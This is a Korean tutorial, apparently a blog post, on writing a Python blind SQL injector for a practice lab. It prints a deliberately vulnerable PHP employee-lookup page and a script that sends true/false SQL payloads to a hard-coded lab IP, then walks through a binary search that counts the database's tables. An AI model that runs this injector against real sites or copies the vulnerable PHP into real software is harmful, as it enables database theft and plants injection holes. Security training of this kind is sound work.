[Python] 참/거짓 판단 함수를 이용한 SQL 인젝션

참/거짓 판단 함수를 이용한 SQL 인젝션 


인젝터

블라인드 SQL 인젝터 Error 기반 SQL 인젝터에 몇 가지 항목을 추가하면 구현이 가능합니다 . 
추가 구현 항목은 Error기반과 블라인드 방식의 차이점을 생각하면 알 수 있습니다 . 

  •  HTTPEQ 결과에서 Error기반은 구분자를 활용하여 데이터를 획득했다면 , 이번에는 공격 구문의 수행 결과가 명제가 참인지 거짓인지 판단하는 방식으로 수정이 필요합니다 . 

  • 블라인드 방식은 Error 기반에 비해서 공격 쿼리 수행결과 참/거짓 유무로만 데이터 획득이 가능하기 때문에 효율적인 검색을 위해 이진탐색 알고리즘 구현이 필요합니다 . 

블라인드 기반의 주요 추가 사항

 

변경 및 추가 항목

세부내용

참/거짓 판단

주입한 SQL 구문의 수행결과 명제의 참/거짓 유무 판단

이진 탐색

데이터를 효율적으로 탐색하기 위한 탐색 알고리즘

데이터 획득

데이터의 길이 확인 및  한 글자씩 분할 획득



앞서 실습한 empinfo_blind_php 파일로 실습을 진행했습니다 . 

empinfo_blind_php
<?php

if (!$link = mysql_connect('localhost', 'root', 'root')) {
    echo 'Could not connect to mysql';
    exit;
}

if (!mysql_select_db('northwind', $link)) {
    echo 'Could not select database';
    exit;
}

$_empid  = $_GET['empid'];
$sql    = 'SELECT * FROM Employees WHERE EmployeeID=' . $_empid;
$result = mysql_query($sql, $link);

if(strpos(strtolower($_empid), "union")==FALSE) $result = mysql_query($sql, $link);

if (!$result) {
    echo "DB Error, could not query the database\n";
    echo 'MySQL Error: ' . mysql_error();
    exit;
}

print "<table border=1 cellpadding=5 cellspacing=0>\n";
print "\t<tr>\n\t\t<td>Employee ID</td><td>First Name</td>
       <td>Title</td><td>Hire Date</td>\n\t</tr>";

while ($row = mysql_fetch_assoc($result)) {
    print "\t<tr>\n\t\t<td>" . $row['EmployeeID'] . "</td><td>"
    . $row['FirstName'] . "</td><td>" . $row['Title'] . "</td><td>" .
    $row['HireDate'] . "</td>\n\t</tr>\n";
}
print "</table>\n";

mysql_free_result($result);
?>


참/거짓 판단 함수

HTTPREQ 함수의 delims에는 참인 경우에만 노출되는 키워드를 입력하고 split 코드는 문자열이 포함되어 있는지 확인가능한 find함수로 변경합니다.
#-*- coding: utf-8 -*-
import httplib
import urllib
import sys

def httpreq(query):

    headers = { "User-Agent" : "Mozilla/5.0 (Window NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",
    "Content-type": "application/x-www-form-urlencoded","Accept": "text/html",
"Connection": "keep-alive"}


    delims = "!~!~!"
    delims = "Nancy"
    domain = "3.238.101.123"  # 가상머신 주소
    url = "/empinfo_id_blind.php"  # 취약한 URL
    params = "empid=1+and+" + query + "%23"
    conn = httplib.HTTPConnection(domain,"80")
    conn.request("GET",url + "?" + params,None,headers)
    response = conn.getresponse().read()
    if(response.find(delims)>0):
        return 1
    else:
        return 0


rcount =
"(select+count(*)+from+information_schema.tables+where+table_type='base+table')>0"
cnt = int(httpreq(rcount))
print cnt
sys.exit()

 

추가한 참/거짓 판단 함수가 정상적으로 동작하는지 테스트 하기 위해서 테이블 목록 개수가 0보다 큰지 확인하는 예시를 추가했습니다 . 
rcount = "(select+count(*)+from+information_schema.tables
            +where+table_type='base+table')>0"

실행 결과



수행 결과가 참 이라는 1이 출력되었습니다 . 




테이블의 목록 개수가 100보다 큰지 확인

rcount = "(select+count(*)+from+
            information_schema.tables+where+table_type='base+table')>100"


100 보다는 작다는 것을 알 수 있습니다 . 


이진 탐색 기법으로 레코드 개수 확인
 

명제

응답 결과

검색 범위

검색 결과

>50

1

01~100

51~100

>75

0

51~100

51~75

>63

0

51~75

51~63

>57

0

51~63

51~57

>54

1

51~57

55~57

>56

0

55~57

55~56

>55

1

55~56

56



수작업 수행결과를 검증하기 위해 데이터베이스 에서 테이블의 목록을 조회합니다 . 









댓글